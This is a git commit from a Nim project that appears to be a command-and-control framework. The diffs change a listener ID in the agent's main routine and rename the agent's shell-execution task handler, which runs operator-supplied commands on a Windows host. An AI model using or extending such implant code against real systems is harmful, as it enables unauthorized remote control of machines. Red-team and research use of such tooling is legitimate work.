Implemented displaying latest checkin in agents table, as well as word-wrap.

This commit is contained in:
Jakob Friedl
2025-05-23 13:55:00 +02:00
parent 6f9e20566d
commit 5ab9cd302c
10 changed files with 155 additions and 59 deletions

View File

@@ -16,7 +16,7 @@ proc main() =
# TODO: Read data from configuration file
let listener = "NVIACCXB"
let listener = "HVVOGEOM"
let agent = register(listener)
echo fmt"[+] [{agent}] Agent registered."

View File

@@ -2,7 +2,7 @@ import winim, osproc, strutils
import ../types
proc executeShellCommand*(command: seq[string]): TaskResult =
proc taskShell*(command: seq[string]): TaskResult =
echo command.join(" ")
let (output, status) = execCmdEx(command.join(" "))

View File

@@ -7,7 +7,7 @@ proc handleTask*(task: Task): Task =
case task.command:
of ExecuteShell:
let cmdResult = executeShellCommand(task.args)
let cmdResult = taskShell(task.args)
echo cmdResult
return Task(